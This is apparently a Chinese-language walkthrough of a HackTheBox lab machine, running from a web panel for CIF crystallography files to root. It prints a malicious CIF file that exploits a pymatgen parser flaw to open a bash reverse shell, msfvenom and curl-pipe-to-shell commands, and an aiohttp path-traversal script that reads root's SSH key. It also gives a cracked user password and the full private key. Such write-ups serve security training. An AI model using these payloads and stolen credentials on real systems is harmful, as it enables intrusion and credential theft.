通过信息收集访问5000端口,cif历史cve漏洞反弹shell,获取数据库,利用低权限用户登录,监听端口,开放8080端口,aihttp服务漏洞文件包含,获取root密码hash值,ssh指定登录
靶机信息

最终目标

一、信息收集
nmap扫描,开放了22和5000端口
Werkzeug/3.0.3 Python/3.9.5
OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)

访问5000端口,是一个CIF仪器面板
php
# CIF(Crystallographic Information File)是一种用于描述晶体结构的文件格式。它广泛应用于化学、材料科学和固体物理等领域,特别是在晶体学研究中。CIF文件包含了关于晶体的详细信息,包括原子位置、晶格参数、对称性、空间群等。

登录尝试弱口令无果,随便注册一个账户登录,发现一处示例

下载下来查看一下

尝试搜索组件漏洞信息

查找到cif漏洞

发现可以利用命令执行反弹shell

二、获取shell
这里先看一下我们kali挂完代理的ip,这个地方我自己犯了一个致命错误,因为是第一次打htb靶机,忽略了kali挂代理ip会变,使用的是本机的ip进行反弹shell,导致一直反弹不成功

命令执行反弹shell
修改脚本反弹shell到kali
bash
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.20/4444 0>&1'");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
上传该文件

点击View ,成功获取反弹shell

msfconsole获取shell
执行以下命令,使用两个命令面板
bash
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=10.10.16.20 lport=4444 -f elf>aa.elf
python3 -m http.server 80
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 10.10.16.20 #kali的ip
set lport 4444
run
远程下载执行脚本提权
先把反弹shell脚本写入到sh文件,然后上传web
bash
echo -ne '#!/bin/bash\n/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.20/4444 0>&1"' > shell.sh
sudo python3 -m http.server 80
新建cif文件,然后写入以下命令,利用curl下载命令下载脚本,然后执行
bash
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution
Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in
().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" +
"classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system
("curl http://10.10.16.20/shell.sh|sh");0,0,0'
_space_group_magn.number_BNS 62.448
三、提权
先基础查找信息

查看suid信息,没什么可利用的

查看**/etc/passwd** 看看有没有什么泄露的,发现一个可以执行bash的用户rosa

查看文件系统,没有什么可以利用的

进入该目录查看,发现一处数据库信息

使用sqlite3 查看,然后查看user表的所有列 ,得到的所有用户名和密码hash值,注意这个rosa用户的密码63ed86ee9f624c7b14f1d4f43dc251a5

解密一下,得到密码:unicorniosrosados

这里我直接切换用户不成功,就ssh连接了,不过连接后可能会有些延迟

查看当前目录,发现第一个flag

列出当前系统上所有处于监听状态(LISTEN)的网络端口,有一个本地服务

了解一下http-alt
php
# 替代端口:在某些网络环境中,可能会使用非标准端口(如8080、8000等)来运行HTTP服务。这些端口被称为"替代端口",可以用于绕过防火墙限制或进行特定的网络配置。
# 代理服务器:在某些情况下,HTTP-ALT可能涉及到通过代理服务器进行HTTP请求,这些代理可能会监听不同的端口。
# 应用程序和服务:某些应用程序或服务可能会在非标准端口上提供HTTP接口,这些接口也可以被称为HTTP-ALT。
把网页内容下载下来,看到服务信息

搜索历史漏洞,找到一个exp:https://github.com/z3rObyte/CVE-2024-23334-PoC

修改poc
sh
#!/bin/bash
url="http://localhost:8080" #目标url
string="../"
payload="/assets/" #路径
file="root/.ssh/id_rsa" # 查看hash值 /
for ((i=0; i<15; i++)); do
payload+="$string"
echo "[+] Testing with $payload$file"
status_code=$(curl --path-as-is -s -o /dev/null -w "%{http_code}" "$url$payload$file")
echo -e "\tStatus code --> $status_code"
if [[ $status_code -eq 200 ]]; then
curl -s --path-as-is "$url$payload$file"
break
fi
done
执行该脚本,可以执行

开启web服务

wget下载,然后赋予权限执行,拿到root密码hash值

如下,一定要完整保存
sh
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
新建文件存放key,赋予只可管理员读写权限

ssh使用key连接

成功连接,发现flag文件

结束

四、总结
知识点
- msfconsole获取shell:
- 远程下载文件执行获取shell:
- sqlite3: 用于操作 SQLite 数据库的命令行工具 ,可以执行mysql命令
- netstat -l: 列出当前系统上所有处于监听状态(LISTEN)的网络端口
- http-alt: 非标准端口,如8080
任务1-4

任务5-8

任务9-12
